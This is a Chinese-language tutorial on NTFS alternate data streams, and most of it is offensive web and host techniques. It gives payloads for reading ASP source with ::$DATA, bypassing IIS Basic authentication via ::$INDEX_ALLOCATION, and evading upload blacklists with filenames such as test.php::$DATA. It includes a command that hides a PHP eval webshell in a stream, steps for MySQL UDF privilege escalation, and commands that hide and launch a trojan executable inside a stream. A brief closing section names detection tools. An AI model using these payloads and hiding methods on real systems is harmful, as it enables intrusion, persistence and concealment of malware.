是什么
NTFS交换数据流(alternate data streams
简称ADS)是NTFS磁盘格式的一个特性。
- 一个完整的流的格式为:
<filename>:<stream name>:<stream type>
- 主流即我们平时可以看见的可以存储数据的文件。而非主文件流寄宿于主文件流中,无法直接读取。
- 修改宿主文件的内容或流的内容,不会对彼此造成影响。
- 流类型总是以
$
符号作为开始,NTFS文件系统中的文件至少包含一个主流,也就是data流($DATA),默认流名为空。 - ADS可以省略流名,但不能省略流类型。
- NTFS文件系统中的文件夹没有data流,但可以指派data流,文件夹的主流为directory流(
$INDEX_ALLOCATION
),流名默认为$I30
怎么用
CVE-1999-0278
访问http://host/global.asa::$DATA
,影响IIS3/4版本
IIS在处理文件请求时会先判断文件扩展名是否在可执行文件扩展名列表中,如果存在,则执行并返回结果,如果不存在,则直接返回文件内容。
NTFS文件系统支持在文件中包含额外的数据流。$DATA
是在NTFS文件系统中存储数据流的属性。
当我们对一个在NTFS分区中的ASP文件发出包含$DATA
请求,IIS会检查最后一个“.”后面的扩展名,因为多了::$DATA
,结果IIS不认为这是一个ASP文件,而文件系统可以识别该请求,于是返回ASP的源代码。
IIS目录访问权限绕过
在IIS6.0+PHP
、IIS7+asp
、IIS7.5+php
的环境下,如果目录是通过HTTP Basic来认证,假设网站根目录存在index.php
文件,可通过构造如下方式来绕过认证直接访问目录下的文件。
/admin::$INDEX_ALLOCATION/index.php
/admin:$i30:$INDEX_ALLOCATION/index.asp
上传绕过黑名单
在测试中我们发现如果上传的文件名字为:test.php::$DATA
,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。
假设我们需要上传的文件内容为:<?php phpinfo();?>
下面是上传是会出现的现象:
上传的文件名 | 服务器表面现象 | 生成的文件内容 |
---|---|---|
Test.php:a.jpg | 生成Test.php | 空 |
Test.php::$DATA | 生成test.php | <?php phpinfo();?> |
Test.php::$INDEX_ALLOCATION | 生成test.php文件夹 | |
Test.php::$DATA\0.jpg | 生成0.jpg | <?php phpinfo();?> |
Test.php::$DATA\aaa.jpg | 生成aaa.jpg | <?php phpinfo();?> |
注意:
对于windows环境的服务器,上传test.php:.jpg
类型的文件,当文件传到服务端时,windows会将该文件识别成ADS,从而认为其宿主文件名为1.asp
而将.jpg
识别为流名。
通过notepad test.php:.jpg
可以查看内容,所以test.php
内容为空是正常的。
然后修改上传的文件名为test.>>>
或者test.<
、test.<<<
、test.>><
再上传,会重写test.php
。原因是在PHP+IIS的环境下,"
同义.
>
同义?
<
同义*
隐藏webshell
在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,命令如下:echo ^<?php @eval(request[cmd])?^ >> index.php:hidden.jpg
这样生成了一个不可见的shell hidden.jpg
,type dir del
命令都不行。
利用文件包含<?php include('shell.php:hidden.jpg')?>
就是一句话。
mysql中的udf提权
如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。
而又因为mysql服务是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。
Mysql 5.0.67之前,DLL的导入目录是C:\windows\system32
从MySQL 5.1开始,要求目录必须是mysql目录下的lib\plugin\
目录,而且mysql 5.1之后的常用安装版本是默认不存在lib\plugin
目录的。
执行sql语句show variables like '%plugin%';
查看目录位置。
利用ADS依次创建lib、plugin目录
select 'xxx' into outfile 'E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
如果创建失败的话,执行show variables like '%secure%';
看看secure_file_priv
的值:
- null表示限制mysqld不允许导入导出
- 当
secure_file_priv
的值为/tmp/
,表示限制mysqld 的导入导出只能在/tmp/目录下 - 当
secure_file_priv
的值为空,表示不对mysqld的导入导出做限制
隐藏exe文件
type muma.txt test.txt:muma.exe
在xp中可以用start test.txt:muma.exe
执行,但是win7以上这样执行会报错。
win7及之后的系统的正确姿势如下:
创建一个符号链接文件test.exe,链接到寄生的交换数据流可执行文件test.txt:muma.exe上:mklink test.exe test.txt:muma.exe
,然后执行start test.exe /b
即可
更新一个方法:
wmic process call create "C:\ProjectCode\test\test:putty.exe"
在WinXP中,可执行文件可以和文本文件一样实现真正的隐藏,这可能也是当时大多数杀毒软件添加数据流病毒查杀功能的原因;在Win7之后的系统中,微软可能出于安全考虑,不允许直接运行交换数据流可执行文件,必须要创建符号链接,这个符号链接是可见的(当然可以使用其他手段隐藏这个符号链接),并且这个符号链接创建出来后不能复制到其他地方,只能在创建的那个位置使用命令行方式调用(鼠标双击会报错)。
怎么查
使用这两款小工具配合进行检测和清除寄生的交换数据流
https://pan.baidu.com/share/link?shareid=134850&uk=1108295926
labs.exe
检测,streams.exe
进行清理。
还有一个叫做AlternateStreamView的工具也可以
参考
http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=3442
https://www.qingsword.com/qing/812.html
https://www.i0day.com/733.html
《NTFS ADS带来的WEB安全问题》,作者Pysolve
https://klionsec.github.io/2017/11/13/ntfs-streams/